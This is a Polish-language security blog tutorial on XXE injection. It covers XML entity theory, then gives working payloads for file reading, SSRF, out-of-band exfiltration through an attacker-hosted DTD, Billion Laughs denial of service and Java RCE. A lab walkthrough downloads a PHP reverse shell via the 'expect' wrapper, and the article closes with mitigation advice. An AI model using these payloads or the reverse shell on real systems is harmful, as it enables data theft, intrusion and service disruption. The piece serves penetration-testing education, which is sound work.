✨ Witamy na nowej odsłonie naszej strony internetowej! ✨
XXE injection

XXE injection

2 grudnia 2024·
Bartłomiej Gorczyca

Najpewniej wielu z Was raz na jakiś czas odwiedza stronę OWASP celem zaspokojenia ciekawości lub wykorzystania wiedzy z niej zaczerpniętej w praktyce. Na przestrzeni czasu lista top 10 vulnerabilities zmieniała się, by umożliwić nam zapoznanie się z najczęstszymi zagrożeniami, z jakimi zmagają się aplikacje webowe. W trakcie ciągłej przebudowy kategoria, która w 2017 roku zajmowała zaszczytne 4 miejsce, stała się częścią A05:2021-Security Misconfiguration. Miejsce 5 to nadal relatywnie wysoko, a temat jest dość ciekawy z punktu widzenia pentestera, czy chociażby niedzielnego bug bounty huntera. Ponadto, zaawanstowane opcje filtrowania emerytowanych maszyn HTB, podatność XXE Injection pod różnymi postaciami występuje w 14 dostępnych na platformie maszynach. Mam więc nadzieję, że następne kilka minut lektury zaspokoi ciekawość i zaoszczędzi komuś trochę czasu w przyszłości.

Definicja XXE Injection

XXE Injection (XML eXternal Entity Injeciton) jest jedną z wielu podatności związanych ze źle skonfigurowanymi rozwiązaniami opartymi na XML-u, lecz prawdopodobnie najprostszą i najczęściej wśród nich spotykaną. Jak sama nazwa wskazuje, jej działanie oparte jest na wykorzystaniu rozwiązań zewnętrznych encji, w danych formatu XML, przesyłanych lub przechowywanych na serwerze. Skutkami ataków tego typu są między innymi: kradzieże poufnych danych, SSRF, odnajdywanie innych celów ataku w sieci lokalnej serwera, DoS z atakami typu Billion Laughts Attack czy w skrajnych przypadkach nawet RCE.

Najstarszą podatnością typu XXE zgłoszoną do rejestru CVE jest CVE-2002-1252. Wykryta została ona w oprogramowaniu PeopleTools i dotyczyła wersji 8.1X przed 8.19. To oprogramowanie było wykorzystywane w wielu produktach przejętej w roku 2005 firmy PeopleSoft. Podatność umożliwiała czytanie dowolnych plików z serwera za pośrednictwem zapytania typu POST. Podobnie najnowsza z perspektywy czasu tworzenia artykułu - CVE-2023-20174- wskazuje podatność zarówno SSRF jak i LFI dla sieciowego interfejsu zarządzania Cisco Identity Services Engine (ISE). Ta CVE jest niestety jedynie bugiem, gdyż w celu jej wykorzystania niezbędne są poświadczenia administratora, nie zmienia to jednak faktu jego wystąpienia, które teoretycznie nie powinno mieć miejsca.

CVE-2021-40722 ukazuje nam natomiast, że pomimo swojej rzadkości RCE za pomocą XXE wciąż jest realnym zagrożeniem dla wielu firm. Warto więc mieć chociaż świadomość, jak taki atak wygląda, i jak można się przed nim obronić.

Mogłoby się wydawać, że podatność ta jest bardzo łatwa do przewidzenia, zarówno przez twórców aplikacji, jak i osoby je testujące, lecz nie każdy programista w trakcie pisania kodu zdaje sobie sprawę z przykrych konsekwencji nieodpowiedniego wykorzystania niektórych funkcjonalności. Mam tutaj na myśli oczywiście parsery kodu XML, służące do zamiany danych w obiekt umożliwiający aplikacji i jej twórcy łatwiejsze operowanie na zbiorze informacji. Sama funkcjonalność encji zewnętrznych (external entities) w wielu kontrolowanych przypadkach jest bardzo pomocna, umożliwiając dla przykładu wczytanie stopki dokumentu z innego pliku na dysku. Niestety nieprawidłowe jej zabezpieczenie umożliwia atakującemu, jak w przypadku pierwszej CVE tego typu, zdobyć dowolny odpowiednio sformatowany plik wysyłany wraz z odpowiedzią serwera.

Szybki kurs XML-a

No dobrze. Wiemy już mniej więcej, czym jest XXE Injection, pora więc na niewielką garść teorii z dziedziny XML-a, która umożliwi nam zrozumienie prostej, lecz skutecznej zasady działania naszej podatności.

Zacznijmy więc od przykładowego pliku:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE inventory [
    <!ELEMENT inv (product, footer)>
    <!ELEMENT product (name, amount, price, id, manufacturer)>
    <!ELEMENT id (#PCDATA)>
    <!ELEMENT amount (#PCDATA)>
    <!ELEMENT price (#PCDATA)>
    <!ELEMENT manufacturer (#PCDATA)>
    <!ELEMENT footer (#PCDATA)>

    <!ATTLIST porduct discontinued CDATA "no">

    <!ENTITY name "The Great Emperor of All Blue">
    <!ENTITY footer SYSTEM "footer.xml">
]>
<inv>
    <product>
        <id>1</id>
        <name>DDoS</name>
        <amount>1h</amount>
        <price>450&#36;</price>
        <manufacturer>&name;</manufacturer>
    </product>

    <product>
        <id>2</id>
        <name>XXE Injection</name>
        <amount>1</amount>
        <price>200&#36;</price>
        <manufacturer>&name;</manufacturer>
    </product>

    <product discontinued="yes">
        <id>3</id>
        <name>MITM</name>
        <amount>24h</amount>
        <price>1100&#36;</price>
        <manufacturer>&name;</manufacturer>
    </product>

    <footer>&footer;</footer>
</inv>

Pierwszą linijką pliku nie musimy się przejmować, gdyż określamy w niej jedynie wersję XML-a, którego zamierzamy użyć oraz kodowanie znaków. Następna część wymaga od nas nieco więcej uwagi.

DTD (Document Type Declaration) jest headerem naszego dokumentu, lecz zamiast zawierać metadane dokumentu w postaci autora, opisu czy słów kluczowych, umożliwia nam zadeklarowanie struktury dokumentu. Znajdziemy w niej wszystko - od własnych tagów wraz z atrybutami, aż po trzy typy encji: wewnętrzną, zewnętrzną oraz parametryczną. DTD może być przechowywane zarówno w samym dokumencie, jak i poza nim, np. na serwerze lub nawet rozproszone na wiele plików, które później mogą być połączone encjami parametrycznymi.

DTD:

<!DOCTYPE nazwa [ ... ]>

Przykładowe definicje tagów:

<!ELEMENT nazwa typ_danych>

<!ELEMENT product (name, amount, price, id)>
<!ELEMENT id (#PCDATA)>

<!ELEMENT nazwa ANY>

Słowo kluczowe “ELEMENT” wskazuje, że definiujemy tag. Następnie podajemy jego nazwę, a na samym końcu typ akceptowanych danych. W powyższym przykładzie pole product może przyjmować tylko zawarte w klamrach tagi: name, amount, price oraz id. Element id natomiast, zamiast znaczników będzie przechowywał w sobie dane znakowe (CDATA), które dodatkwo przejdą przez nasz XML-owy parser po stronie serwera - (#PCDATA). To właśnie takich znaczników będziemy szukać najczęściej metodą eksperymentalną w celu osadzenia naszych gotowych do sparsowania encji. Ostatni przykład ukazuje znacznik, którego wartość może być dowolna.

Przejdźmy więc do kluczowych zagadnień - encji. Encje możemy przyrównać do zmiennych, które przechowują w sobie dane zdefiniowane w samym pliku lub na zewnątrz niego, w zależności od swojego typu i zamysłu autora. Nazwy tych zmiennych są rozwiązywane przez parsery, które podmieniają je na zadeklarowane wartości. Brzmi prosto i w zasadzie takie jest.

W standardzie XML-a istnieje 5 odgórnie zdefiniowanych encji wewnętrznych, które umożliwiają wykorzystanie znaków charakterystycznych dla składni technologii w dowolnym kontekście:

Znak reprezentowany        Nazwa encji            
&&amp;
<&lt;
>&gt;
"&quot;
'&apos;

Podobnie sprawa wygląda dla HTML-a, co oznacza, że pewnie wielu z Was miało już z tym zagadnieniem do czynienia. Oczywiście różnica polega na tym, że HTML-owych encji jest zdecydowanie więcej.

<!-- internal entity -->
<!ENTITY name "The Great Emperor of All Blue">

<!-- external entity -->
<!ENTITY footer SYSTEM "footer.xml">

<!-- parametric entity -->
<!ENTITY % more_dtd SYSTEM "more_dtd.dtd">

Co do różnic między trzema typami encji, to wyróżniamy dwie zasadnicze:

  • po pierwsze wewnętrzne i zewnętrzne encje umieszczamy w strukturze dokumentu, a parametryczne lokujemy w samym DTD (odróżniamy je znakiem % zarówno w trakcie ich definiowania jak i użycia -> %more_dtd;);
  • po drugie encje parametryczne mogą mieć wartości zamieszczone bezpośrednio w strukturze dokumentu lub sczytane z innej lokalizacji, wewnętrzne tylko zawarte w pliku, a zewnętrzne jedynie zaimportowane z innej lokacji - np. pliku na dysku czy innego serwera.

Dane z dysku lub innego serwera, do którego testowana maszyna ma dostęp? To brzmi dość zachęcająco z perspektywy pentestu. Zobaczmy zatem, czy jest związana z tym jakaś podatność…

XXE Injection - trochę teorii

Poniżej przedstawię w teorii przykłady wykorzystania XXE Injection. Następnie przyjrzymy się wykorzystaniu niektórych z nich w praktyce. Na potrzeby prezentacji załóżmy, że dane w postaci XML wysyłamy zapytaniem HTTP do serwera np. księgarni internetowej celem sprawdzenia dostępności interesującej nas pozycji. Aplikacja zwraca nam wszystkie dane wraz z dodatkowym tagiem zawierającym odpowiedź o dostępności pozycji, oraz że zdefiniowany znacznik id jest typu PCDATA.

<question>
    <id></id>
    <storeCode></storeCode>
</question>

LFI via XXE Injection

Prawdopodobnie najpopularniejszym atakiem umożliwiającym pozyskanie z serwera plików, które pomogą nam w dalszej penetracji systemu, jest poniższy przykład. Wykorzystujemy w nim pojedynczą zewnętrzną encję &lfi; w celu załadowania do odpowiedzi zawartości pliku /etc/passwd, uwzględniając założenie, że serwer zwraca wszystkie wartości z zapytania.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
    <!ENTITY lfi SYSTEM "file:///etc/passwd">
]>
<question>
    <id>&lfi;</id>
    <storeCode>1</storeCode>
</question>

W niektórych implementacjach parserów XML napisanych w Javie istnieje możliwość wylistowania interesującego nas katalogu poprzez podanie właściwej ścieżki w definicji encji, np. dla katalogu głównego zapis wyglądałby w następujący sposób: file:///.

SSRF via XXE Injection

SSRF via XXE Injection polega na zmuszeniu naszego serwera do wysłania zapytania. Oczywiście nie jest to jedyna możliwość, gdyż w zależności od sytuacji za pomocą SSRF możemy na przykład zenumerować wewnętrzną sieć hosta, wyeksponować dane wrażliwe (np. odpytując inne usługi na localhoście), odczytać metadane z usług w chmurze (http://169.254.169.254), czy też w pełni narazić usługę wewnętrzną na RCE.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
    <!ENTITY ssrf SYSTEM "http://bad.server.xyz">
]>
<question>
    <id>&ssrf;</id>
    <storeCode>1</storeCode>
</question>

SSRF and LFI via XXE Injection

W przypadku braku możliwości zwrócenia wartości pożądanego pliku - sytuacja Out-Of-Band - wykorzystujemy połączenie SSRF oraz LFI celem wysłania informacji na nasz prywatny serwer.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
    <!ENTITY % lfi SYSTEM "file:///etc/passwd">
    <!ENTITY % vicious SYSTEM "http://hackerMENvps.xyz/vicious.dtd">
%vicious;
]>
<question>
    <id>&get_file;</id>
    <storeCode>1</storeCode>
</question>

DTD na naszym serwerze - vicious.dtd:

<!ENTITY % sender "<!ENTITY get_file SYSTEM 'http://hackerMENvps.xyz/?file=%lfi;'>">
%sender;

Niestety w przeprowadzonych przeze mnie testach nie okazało się to takie proste.

[Fri Oct 20 17:47:20.651369 2023] [:error] [pid 10] [client 192.168.0.10:55784]
PHP Warning:  DOMDocument::loadXML(): Invalid URI: http://192.168.0.10:4444/
?file=root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/
nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin
/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n [...]  in /app/process.php
on line 5, referer: http://192.168.0.7:5000/
[Fri Oct 20 17:47:20.651884 2023] [:error] [pid 10] [client 192.168.0.10:55784]
PHP Warning:  DOMDocument::loadXML(): Failure to process entity get_file in Entity,
line: 10 in /app/process.php on line 5, referer: http://192.168.0.7:5000/

Zawartość plików z reguły zawiera znaki niedozwolone z perspektywy URI, a taki właśnie format tutaj musimy wykorzystać. Skorzystamy więc do tego celu np. wraperów php, o których wspomnę później.

<!ENTITY % lfi SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

Najprawdopodobniej część z Was postanowi zadać w tym miejscu intrygujące pytanie: dlaczego do przeprowadzenia tego ataku wykorzystujemy DTD znajdujące się na zewnętrznym serwerze, skoro całe zapytanie mogłoby wyglądać następująco?

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
    <!ENTITY % lfi SYSTEM "file:///etc/passwd">
    <!ENTITY get_file SYSTEM "http://hackerMENvps.xyz/?file=%lfi;">
]>
<question>
    <id>&get_file;</id>
    <storeCode>1</storeCode>
</question>

Twórcy standardu XML-a mając na uwadze bezpieczeństwo, uniemożliwili niestety zagnieżdżenie encji parametrycznej w definicjach innych encji, czyli pomiędzy cudzysłowami - dokumentacja. Zasada ta jednak działa jedynie w przypadku pojedynczego DTD, co oznacza, że jeżeli uda nam się naszego OOB rozłożyć na dwa pliki (tak ja w pierwszym przykładzie) parser nie powinien zgłosić nam żadnego błędu.

W przypadku Error-Based blind XXE Injection wykorzystujemy wyświetlaną przez aplikację webową informację o błędzie celem odfiltrowania pliku lub danych w nim zawartych. Oczywiście już sam komunikat o błędzie udostępnia nam trochę informacji. Poprzez odpowiednie zmodyfikowanie DTD na naszym serwerze możemy pozyskać interesujące nas dane.

DTD na naszym serwerze - vicious.dtd:

<!ENTITY % get_error "<!ENTITY get_file SYSTEM 'file:///invalid_path_or_sth/%lfi;'>">
%get_error;

Lub w przypadku gdy nie mamy możliwości użycia znacznika PCDATA z następującej kombinacji dwóch DTD:

DTD - payload wysyłany z żądaniem:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
    <!ENTITY % vicious SYSTEM "http://hackerMENvps.xyz/vicious.dtd">
    %vicious;
]>

DTD na naszym serwerze - vicious.dtd:

<!ENTITY % lfi SYSTEM "file:///etc/passwd">
<!ENTITY % get_error "<!ENTITY &#x25; error SYSTEM 'file:///invalid_path_or_sth/%file;'>">

%get_error;
%error;

&#x25; - jest znakiem procenta (kodowanym w hex) informującym nas, że mamy do czynienia z encją parametryczną.

Jeśli nasza aplikacja dodatkowo przyjmuje i zwraca atrybuty (i ich wartości) możemy spróbować wyciągnąć pliki na poniższej zasadzie.

Zapytanie:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
    <!ENTITY % lfi SYSTEM "file:///etc/passwd">
    <!ENTITY % vicious SYSTEM "http://hackerMENvps.xyz/vicious.dtd">
%vicious;
]>
<question>
    <storeCode id="0&get_value;">1</storeCode>
</question>

DTD - vicious.dtd:

<!ENTITY % atrybut "<!ENTITY get_value SYSTEM '%lfi;'>">
%atrybut;

RCE via XXE Injection

Dochodzenie do RCE przy wykorzystaniu opisywanej podatności jest mocno związane z wykorzystaną na serwerze technologią i nie istnieje pojedynczy przepis od niej niezależny. Niżej w wydaniu praktycznym przestawiony zostanie RCE przy użyciu modułu “expect” PHP. W tym miejscu wylistujmy przykład wykorzystania Runtime().exec() w rozwiązaniach opartych na Javie.

<?xml version="1.0" encoding="UTF-8"?>
<java version="..." class="java.beans.XMLDecoder">
    <object class="java.lang.Runtime" method="getRuntime">
        <void method="exec">
            <array class="java.lang.String" length="1">
                <void index="0">
                    <string>/usr/bin/whoami</string>
                </void>
            </array>
        </void>
    </object>
</java>

Dodatkowo skoro jest to element <array> możemy przesyłać również przełączniki:

<java version="..." class="java.beans.XMLDecoder">
    <object class="java.lang.Runtime" method="getRuntime">
        <void method="exec">
            <array class="java.lang.String" length="2">
                <void index="0">
                    <string>/usr/bin/uname</string>
                </void>
                <void index="1">
                    <string>-a</string>
                </void>
            </array>
        </void>
    </object>
</java>

Techniki Resource Exhaustion

Czasem może zależeć nam na osłabieniu mocy obliczeniowej serwera, lub nawet na wyłączeniu go z obiegu. Możemy w tym celu wykorzystać ataki takie jak “Billion laughts attack” czy “Quadratic Blowup”.

Billion laughts attack

Nazwa dość specyficzna, lecz przykład z Wikipedii w pełni wyjaśnia tę nazwę. Jak widzimy w poniżej zamieszczonym kodzie, atak ten polega na iteracyjnym rozwiązywaniu kolejnych encji w astronomicznych ilościach.

<?xml version="1.0"?>
<!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Mechanizm ten jest tak dobrze znany, że większość aplikacji jest na niego uodporniona - wystarczy zmniejszyć ilość możliwych zagnieżdżeń zewnętrznych encji. Powstał więc atak o nazwie “Qudaratic Blowup” - mniej zagnieżdżeń, wciąż dużo znaków oraz związanych z nimi operacji.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE quadratic [
    <!ENTITY blowup "[dziesiątki tysięcy znaków]">
]>
<tag>&blowup; ... [dziesiątki tysięcy razy]</tag>

Oczywiście oba ataki możemy łączyć, dobierając ilość zagnieżdżeń encji oraz ich długość, w zależności od odporności aplikacji, czy własnych upodobań. Jesteśmy w stanie wygenerować w ten sposób pliki o astronomicznych wielkościach, które mogą mocno ograniczyć wydajność atakowanego serwera.

XXE Injection w praktyce

Trochę teorii za nami, przyszedł czas na zabawę. W celu przeprowadzenia przykładowego ataku wykorzystam dockerowego xxelaba, którego w razie potrzeby można postawić samemu, a następnie zacząć przygodę z XXE Injection.

W celu instalacji dockera na linuxie posłużymy się następującym zbiorem poleceń:

sudo apt update
sudo apt install docker.io
sudo systemctl enable docker --now
docker -v

Teraz kolej na kontener:

git clone https://github.com/jbarone/xxelab.git
cd xxelab
sudo docker build -t xxelab .
sudo docker run -it --rm -p 5000:80 xxelab
sudo docker container list -a

CONTAINER ID   IMAGE     COMMAND                  CREATED         STATUS         
PORTS                                   NAMES
2e0ae9f3ec8f   xxelab    "/usr/bin/httpd-fore…"   8 seconds ago   Up 8 seconds   
0.0.0.0:5000->80/tcp, :::5000->80/tcp   wonderful_solomon

Voila - możemy zacząć zabawę:

W celu przeprowadzenia testów wykorzystamy aplikację Zed Attack Proxy.

Skoro wszystko gotowe możemy zacząć przechwytywanie pakietów z i do dockerowego kontenera. Dość wyraźną podpowiedź, co do możliwej podatności witryny otrzymujemy już w odpowiedzi do zapytania typu GET na adres kontenera:

[ ... ]
<script type="text/javascript">  
function XMLFunction(){  
    var xml = '' +  
        '<?xml version="1.0" encoding="UTF-8"?>' +  
        '<root>' +  
        '<name>' + $('#name').val() + '</name>' +  
        '<tel>' + $('#tel').val() + '</tel>' +  
        '<email>' + $('#email').val() + '</email>' +  
        '<password>' + $('#password').val() + '</password>' +  
        '</root>';  
    var xmlhttp = new XMLHttpRequest();  
    xmlhttp.onreadystatechange = function () {  
        if(xmlhttp.readyState == 4){  
            console.log(xmlhttp.readyState);  
            console.log(xmlhttp.responseText);  
            document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;  
  
        }  
    }  
    xmlhttp.open("POST","process.php",true);  
    xmlhttp.send(xml);  
};
</script>
[ ... ]

Nawet, jeżeli nic nam to nie mówi, po szybkim wykorzystaniu wyszukiwarki znajdujemy informacje, które sprawią, że jesteśmy pewni swego - XMLHttpRequest. Przechwyćmy więc to zapytanie:

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name>hackerman</name>
    <tel>1111111111</tel>
    <email>hackerman@funsociety.xyz</email>
    <password>password</password>
</root>

Skrypt w zapytaniu podstawia nam wartości z elementu fieldset do odpowiednich znaczników zapytania zdefiniowanego powyżej. Ciekawe, że niezależnie od tego, jaki adres email zostanie podany, odpowiedź zwróci nam błąd typu: “Sorry, hackerman@funsociety.xyz is already registered!”.

Pozostało nam wybrać element, w którym spróbujemy umieścić zewnętrzną encję. Jedna zwracana przez serwer informacja to zawartość tagu <email>, i to właśnie wykorzystamy.

LFI via XML w akcji

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
    <!ENTITY lfi SYSTEM "file:///etc/passwd">
]>
<root>
    <name>hackermam</name>
    <tel>1111111111</tel>
    <email>&lfi;</email>
    <password>password</password>
</root>

Od razu możemy przetestować wyciąganie plików, które zawierając znaki specjalne, przy powyższym wykorzystaniu LFI spowodowałyby błąd parsera i uniemożliwiłyby wykradzenie danych. Zauważmy, że zapytanie wygenerowane przez skrypt wysyłane jest jako POST, w moim przypadku na adres: http://192.168.69.130:5000/process.php. Oznacza to najprawdopodobniej dwie rzeczy:

  • obsługa zapytania wykonywana jest przez plik process.php,
  • plik process.php znajdować może się w katalogu głównym naszej internetowej aplikacji, a w związku z Server: Apache/2.4.7 (Ubuntu) oznacza to ścieżkę typu /var/www/html/process.php.

Aby wyciągnąć ten plik, musimy posłużyć się filtrami PHP, które umożliwią nam zakodowanie zawartości w formacie zgodnym z URL. Prawdopodobnie myślimy o tym samym - base64. Jeśli nie, to filtrowanie php nie ogranicza się tylko i wyłącznie do zadań typu to-upper-case.

php://filter/resource=string.toupper/resuource=<path_to_file>
php://filter/resource=string.tolower/resuource=<path_to_file>
php://filter/resource=string.toupper|string.rot13/resource=<path_to_file>

Dodatkowo możemy również kompresować, czy też jak wspomniałem wcześniej konwertować do base64.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
    <!ENTITY php_file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/process.php">
]>
<root>
    <name>hackermam</name>
    <tel>1111111111</tel>
    <email>&php_file;</email>
    <password>password</password>
</root>

Jak widać na powyższym screenie, aplikacja zwróciła nam żądane dane. Odkodujmy je więc w dekoderze ZAP-a:

Sorry, PD9waHAKbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlciAoZmFsc2UpOwokeG1sZmlsZSA9I
GZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpOwokZG9tID0gbmV3IERPTURvY3VtZW50KCk7C
iRkb20tPmxvYWRYTUwoJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKJGluZ
m8gPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKJG5hbWUgPSAkaW5mby0+bmFtZTsKJHRlbCA9I
CRpbmZvLT50ZWw7CiRlbWFpbCA9ICRpbmZvLT5lbWFpbDsKJHBhc3N3b3JkID0gJGluZm8tPnBhc3N3b
3JkOwoKZWNobyAiU29ycnksICRlbWFpbCBpcyBhbHJlYWR5IHJlZ2lzdGVyZWQhIjsKPz4K is already
registered!

Kod PHP obsługujący zapytanie jest prosty. Nie trudno zauważyć co powoduje, że aplikacja, która absolutnie nie potrzebuje do swojego działania encji zewnętrznych ma dla nich pełne wsparcie:

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$tel = $info->tel;
$email = $info->email;
$password = $info->password;

echo "Sorry, $email is already registered!";
?>

Przejdźmy zatem do testów Server Side Request Forgery.

SSRF via XXE dla ciekawych

Zainicjujmy najpierw serwer, na który spróbujemy wysłać odpowiednio sformułowane zapytanie zawierające poniższą encję:

python3 -m http.server
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
    <!ENTITY ssrf SYSTEM "http://192.168.69.128:8000/">
]>
<root>
    <name>hackermam</name>
    <tel>1111111111</tel>
    <email>&ssrf;</email>
    <password>password</password>
</root>

Sprawdźmy logi odwiedzin na naszym pythonowym http.server.

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.69.130 - - [18/Oct/2023 21:33:43] "GET / HTTP/1.0" 200 -

Próba SSRF zakończona pełnym powodzeniem.

Trzymamy kciuki za RCE

Pomimo iż podatność ta w głównej mierze zależy od serwera i zainstalowanych na nim dodatkowych bibliotek/komponentów nie zaszkodzi spróbować tej metody na naszym podatnym serwerze. Do parsowania wykorzystuje on PHP. Sprawdźmy więc, czy nie posiada on zainstalowanego rozszerzenia “expect”.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
    <!ENTITY rce SYSTEM "expect://id">
]>
<root>
    <name>hackermam</name>
    <tel>1111111111</tel>
    <email>&rce;</email>
    <password>password</password>
</root>
Sorry, uid=33(www-data) gid=33(www-data) groups=33(www-data)  
 is already registered!

Ok “expect” znajduje się na swoim miejscu. Niestety jak już wspominałem, w celu pełnego wykorzystania podatności RCE będziemy potrzebowali czegoś więcej. Kodowanie znaków ma w tym przypadku podobne reperkusje, co w trakcie wyciągania plików PHP, lecz tym razem nie możemy po prostu wysłać payloada w formacie base64 i oczekiwać, że wszystko skończy się sukcesem. Oznacza to, że oprócz znaków takich jak np. <, >, |, ", : nie będziemy mogli wykorzystać również spacji, a przynajmniej w jej naturalnej formie.

$IFS jest zmienną wykorzystywaną w skryptach basha lub sytuacjach takich jak nasza celem zdefiniowania i/lub wykorzystania wewnętrznego separatora pól (Internal Field Separator). W prostych słowach oznacza to znak “spacji” zapisany w inny sposób. Warto zauważyć, że Kali Linux jako podstawowego shella używa zsh, więc jeśli wciąż macie tą możliwość zalecam użyć dockera na systemie, który domyślnie wykorzystuje basha.

W tym przykładzie postaramy się nie tylko doprowadzić do RCE, ale również za pomocą
poniższego pliku rsh.php postaramy się zmusić atakowaną maszynę do zainicjowania
odwróconego shella:

<?php
set_time_limit(0);
$ip = '192.168.69.128';
$port = 4444;
$sock = fsockopen($ip, $port);
while(!feof($sock)) {
    $command = fgets($sock, 1024);
    $output = shell_exec($command);
    fwrite($sock, $output);
}
fclose($sock);
?>

Aby pobrać naszego payloada PHP - przez wzgląd na ograniczenia nazewnictwa - zmienimy port naszego servera http na 80. Polecenie curl samo w sobie zrozumie, że próbujemy skorzystać z protokołu http, więc tego również nie musimy precyzować.

sudo python3 -m http.server 80
nc -lvnp 4444
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
    <!ENTITY curl SYSTEM "expect://curl$IFS'192.168.69.128/rsh.php'$IFS'--output'$IFS'rsh.php'">
]>
<root>
    <name>hackermam</name>
    <tel>1111111111</tel>
    <email>&curl;</email>
    <password>password</password>
</root>

Po otworzeniu adresu http://192.168.69.130/rsh.php otrzymujemy:

Listening on 0.0.0.0 4444
Connection received on 192.168.69.130 43352
whoami
www-data

Nasz dumb reverse shell gotowy. Pozostało nam jedynie wykorzystanie go do zainicjowania w pełni funkcjonalnego terminala oraz dalsze zagłębianie się w architekturę maszyny.

Ciekawe natomiast jest to, że pomimo iż znaki : nie powinny być dozwolone, to odpowiednio wykorzystane nie stanowią problemu.

Przykład encji, która nie zadziała:

<!ENTITY curl SYSTEM "expect://curl$IFS'http://192.168.69.128/rsh.php'$IFS'--output'$IFS'rsh.php'">

Przykład encji, która pomimo zastosowania dwukropka zostanie bezproblemowo rozwiązana:

<!ENTITY curl SYSTEM "expect://curl$IFS'192.168.69.128:80/rsh.php'$IFS'--output'$IFS'rsh.php'">

Jak zmniejszyć zagrożenie

Będąc świadomym powyżej przedstawionego zagrożenia, zadajmy sobie pytanie: jak się zabezpieczyć? Przede wszystkim należy zapoznać się z własnym backendem i przeanalizować sposób, w jaki realizujemy przetwarzanie XMLa. Strona OWASP udostępnia prevention cheat sheet, który umożliwia nam rozpoznanie ryzyka w zależności od technologii.

Dla przykładu, jeżeli backend napisany jest w C/C++ jesteśmy zobowiązani przyjrzeć się bibliotece libxml2 lub libxerces-c i zgodnie z instrukcjami ustawić odpowiednie parametry/flagi w kodzie aplikacji.

Co do głównych zasad to możemy je zdefiniować następująco:

  • jeśli nie są potrzebne, to należy wyłączyć rozwiązywanie zewnętrznych encji - z reguły jest to funkcjonalność zbędna;
  • należy zmniejszyć liczbę możliwych zagnieżdżeń encji, wielkość pliku wejściowego oraz ustawić sensowny limit czasu na przetwarzanie plików XML;
  • należy czytać poradniki, sprawdzać na bieżąco wykaz CVE i nie wyznawać zasady, że “jeśli działa to nie ruszaj”.

Podsumowanie

Dotarliśmy już do końca naszej dzisiejszej przygody z XXE Injection. To jednak nie jest jeszcze koniec wyprawy. Internet pełen jest informacji oraz miejsc, gdzie bez zbędnych formalności omawianą podatność można przećwiczyć, czy dowiedzieć się o niej czegoś więcej. Polecam chociażby PortSwigger Academy, gdzie szerzej omówione zostało pozyskiwanie informacji poprzez error messages, czy chociażby udostępniony został lab wykorzystujący LFI w formie Out-Of-Band.

Źródła